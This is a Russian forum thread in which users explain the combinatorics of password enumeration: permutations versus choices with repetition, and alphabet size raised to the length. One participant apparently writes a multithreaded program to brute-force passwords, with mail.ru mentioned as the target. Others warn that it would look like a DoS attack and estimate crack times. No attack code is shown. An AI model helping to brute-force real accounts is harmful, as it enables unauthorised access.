Цитата(volatile @  22.5.2012,  01:42 Найти цитируемый пост)
magesi, без вариантов.    

                                                                                           n = 1   2   3   4    5    6
Кол-во перестановок (n!)                                                           1   2   6   24  120 720
Кол-во регистров символов ( с учетом регистров ) (2^n - 2):      0   2   6   14  30   62

Учитывая, что мы генерируемый пароль ЗА РАЗ, где весь массив данных: буквы ( заглав./строч. ), цифры, спец. символы участвуют для создания каждого нового пароля, а также, вычесть одинаковые комбинации таких паролей, как: aaaaaa, aabbaa и т.д.

Это сообщение отредактировал(а) magesi - 22.5.2012, 01:45
PM MAIL   Вверх
volatile
Дата 22.5.2012, 01:53 (ссылка)    | (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Завсегдатай
Сообщений: 2107
Регистрация: 7.1.2011

Репутация: 37
Всего: 85



Цитата(magesi @  22.5.2012,  01:44 Найти цитируемый пост)
а также, вычесть одинаковые комбинации таких паролей, как: aaaaaa, aabbaa и т.д.

Зачем их вычитать? Кто запретит пользователю поставить такой пароль?
"aaааaa", или "aabbaa" - это законные комбинации.
И вообще выбросьте из головы слово "перестановки". Нет там никаких перестановок.

PM MAIL   Вверх
magesi
  Дата 22.5.2012, 02:05 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 120
Регистрация: 20.5.2012

Репутация: -4
Всего: -4



Цитата(volatile @  22.5.2012,  01:53 Найти цитируемый пост)
Зачем их вычитать? Кто запретит пользователю поставить такой пароль?"aaааaa", или "aabbaa" - это законные комбинации.И вообще выбросьте из головы слово "перестановки". Нет там никаких перестановок. 

Вы меня совершенно не поняли... И перестановки там есть... Я не говорил вычитать пароль из использования, я говорил про конечное кол-во комбинаций.

На другой известный ресурс дам линк МОЕЙ ЖЕ темы, которую там поднял и разбирали:

http://stackoverflow.com/questions/7145038...ensitive-string

Это сообщение отредактировал(а) magesi - 22.5.2012, 02:06
PM MAIL   Вверх
boostcoder
Дата 22.5.2012, 02:29 (ссылка)    | (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


pattern`щик
****


Профиль
Группа: Завсегдатай
Сообщений: 5458
Регистрация: 1.4.2010

Репутация: 49
Всего: 110



бывают просто фейспалмы(к этому многие уже привыкли).
а бывают фейспалмы в 26ой степени. и это всем фейспалмам фейспалм smile 

а volatile маладца! стойко держится smile 
PM WWW   Вверх
magesi
Дата 22.5.2012, 02:41 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 120
Регистрация: 20.5.2012

Репутация: -4
Всего: -4



boostcoder, и в чем же заключается facepalm, Вы хоть поняли о чем тема или просто так отписаться захотелось?
PM MAIL   Вверх
volatile
Дата 22.5.2012, 02:43 (ссылка)    | (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Завсегдатай
Сообщений: 2107
Регистрация: 7.1.2011

Репутация: 37
Всего: 85



Цитата(magesi @  22.5.2012,  02:05 Найти цитируемый пост)
И перестановки там есть... 

user posted image

Цитата(magesi @  22.5.2012,  02:05 Найти цитируемый пост)
На другой известный ресурс дам линк МОЕЙ ЖЕ темы, которую там поднял и разбирали:

Тема вашего линка некорректна, по отношению к паролю.
Хотя бы потому, что там не указан алфавит.

Если вы имели ввиду алфавит : "ABCabc" (6 символов)
И из них нужно выбрать пароль содержащий 3 буквы, то таких паролей ровно 6^3 = 216 штук.

Вот вам полный список таких паролей, ровно 216 штук, без повторов.
http://codepad.org/7DLgyfq5

Это же элементарщина smile 

 smile 
Цитата(boostcoder @  22.5.2012,  02:29 Найти цитируемый пост)
фейспалмы

boostcoder, Как вам мой фейспалм?
Если что, можете взять на вооружение. smile 

А вообще спокойной ночи, господа.
PM MAIL   Вверх
boostcoder
Дата 22.5.2012, 02:44 (ссылка)    | (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


pattern`щик
****


Профиль
Группа: Завсегдатай
Сообщений: 5458
Регистрация: 1.4.2010

Репутация: 49
Всего: 110



читай тему сначала
PM WWW   Вверх
magesi
  Дата 22.5.2012, 02:56 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 120
Регистрация: 20.5.2012

Репутация: -4
Всего: -4



boostcoder, volatile, только без грубостей и без этого интернетовского мусора с помойной ямы под названием "луркмор", если Вы культурные люди, то ведите себя прилично и в сети, если человек не понял - быть терпимее и нормально объяснить еще раз или попытаться донести лучше мысль ( а если нет желания, то просто проигнорировать ), с Вами вежливо и прилично общаются, извольте хоть какие-то нормы нормального поведения соблюдать. Вам не грубят и не хамят.

Сейчас ночь, не все могут хорошо соображать, поэтому давайте без грубостей и наездов. Все люди могут что-то не понять или ошибиться, а вот, вести себя в стиле неадекватной молодежи - это неприлично и ненормально, все-таки не забывайте, что по ту сторону монитора тоже сидят люди и свой мусор и гниль лучше приберигите для туалета или всяких порталов для больных людей, как луркмор.

PS
Порой думаю, что обязательную привязку пасспорта к использованию к доступу по сети для публичного просмотра, чтобы все видели - было неплхоим предложением в правительстве, тогда бы и нормы морали рунета стали бы лучше. Я думаю так, потому многие бы, в таком случае, не позволили себе выражаться неадекватно из-за того, чтобы все будут знать, кто что и когда сказал и это будет соотвествовать реальной личности имя, которой все могут узнать тут же.

Это сообщение отредактировал(а) magesi - 22.5.2012, 23:33
PM MAIL   Вверх
feodorv
Дата 22.5.2012, 09:57 (ссылка) |  (голосов:2) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Комодератор
Сообщений: 2214
Регистрация: 30.7.2011

Репутация: 11
Всего: 45



Перестановки - это когда дан фиксированный набор элементов, а мы их выстраиваем в определённом порядке, не имея права дважды использовать один и тот же элемент.

К примеру: набор элементов { A, B, C}, перестановки для двуэлементной последовательности:
Код

AB
AC
BA
BC
CA
CB

И всё...

Перебор - мы имеем право дважды использовать один и тот же элемент:
Код

AA
AB
AC
BA
BB
BC
CA
CB
CC


И при брутфорсе мы используем перебор, так как никто пользователю не запрещал использовать один и тот же символ дважды (трижды, четырежды etc)


--------------------
Напильник, велосипед, грабли и костыли - основные инструменты программиста...
PM MAIL   Вверх
baldina
Дата 22.5.2012, 10:13 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Завсегдатай
Сообщений: 3433
Регистрация: 5.12.2007
Где: Москва

Репутация: 32
Всего: 101



Цитата(volatile @  21.5.2012,  23:57 Найти цитируемый пост)
Кто сказал перестановок?

я сказал. и я же сказал "факториально". имел в виду что даже перестановки (более простая задача чем размещение) очень трудоёмки, что функция количества комбинаций - факториал (правда убывающий). а в контексте фразы получилось что не функция факториал, а её приращение. это конечно неправильно. magesi мне намекнул, и он прав.


Это сообщение отредактировал(а) baldina - 22.5.2012, 10:16
PM MAIL   Вверх
feodorv
Дата 22.5.2012, 10:39 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Комодератор
Сообщений: 2214
Регистрация: 30.7.2011

Репутация: 11
Всего: 45



Цитата(baldina @  22.5.2012,  11:13 Найти цитируемый пост)
и он прав

Где? Здесь:
Цитата(magesi @  21.5.2012,  17:57 Найти цитируемый пост)
факториальный рост или геомт. прогрессии? 

или здесь:
Цитата(magesi @  22.5.2012,  01:57 Найти цитируемый пост)
Я не думаю, что возведеление степень дает конечный результат,

???


--------------------
Напильник, велосипед, грабли и костыли - основные инструменты программиста...
PM MAIL   Вверх
xvr
Дата 22.5.2012, 10:57 (ссылка) |    (голосов:3) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Комодератор
Сообщений: 7046
Регистрация: 28.8.2007
Где: Дублин, Ирландия

Репутация: 60
Всего: 223



Цитата(magesi @  21.5.2012,  15:03 Найти цитируемый пост)
Я сейчас улучшаю свой программу. Решил для перебора каждого пароля опред. разрядности ( 6 симв., 7, 8 etc ) выделять каждый поток.

Что Вы думаете, насчет такой реализации?
Думаем, что если mail.ru делали не полные дятлы, то такое он точно определит как DoS атаку со всеми вытекающими  smile 


PM MAIL   Вверх
baldina
Дата 22.5.2012, 13:12 (ссылка) |  (голосов:3) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Завсегдатай
Сообщений: 3433
Регистрация: 5.12.2007
Где: Москва

Репутация: 32
Всего: 101



Цитата(feodorv @  22.5.2012,  10:39 Найти цитируемый пост)
Цитата(baldina @  22.5.2012,  11:13 )
и он прав

Где? Здесь:
Цитата(magesi @  21.5.2012,  17:57 )
факториальный рост или геомт. прогрессии? 

или здесь:
Цитата(magesi @  22.5.2012,  01:57 )
Я не думаю, что возведеление степень дает конечный результат,

??? 

 smile прав что не факториал, а степенная функция. изменение - на множитель. он это с чего-то геом. прогрессией назвал
а во втором часу ночи уже заговариваться начал, и это думаю простительно smile 

непростительна попытка брутфорса как малополезное занятие, но это его дело...
я кстати прикинул, 8-символьный пароль при скорости подбора 10млн попыток в сек подберется за пару лет. В сети, понятно, скорость на несколько порядков отличается

Добавлено через 39 секунд
в удобную mail.ru сторону ;-)
PM MAIL   Вверх
Страницы: (3) [Все] 1 2 3 
Ответ в темуСоздание новой темы Создание опроса
Правила форума "С++:Общие вопросы"
Earnest Daevaorn

Добро пожаловать!

  • Черновик стандарта C++ (за октябрь 2005) можно скачать с этого сайта. Прямая ссылка на файл черновика(4.4мб).
  • Черновик стандарта C (за сентябрь 2005) можно скачать с этого сайта. Прямая ссылка на файл черновика (3.4мб).
  • Прежде чем задать вопрос, прочтите это и/или это!
  • Здесь хранится весь мировой запас ссылок на документы, связанные с C++ :)
  • Не брезгуйте пользоваться тегами [code=cpp][/code].
  • Пожалуйста, не просите написать за вас программы в этом разделе - для этого существует "Центр Помощи".
  • C++ FAQ

Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Earnest Daevaorn

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | C/C++: Общие вопросы | Следующая тема »


 




[ Время генерации скрипта: 0.1054 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.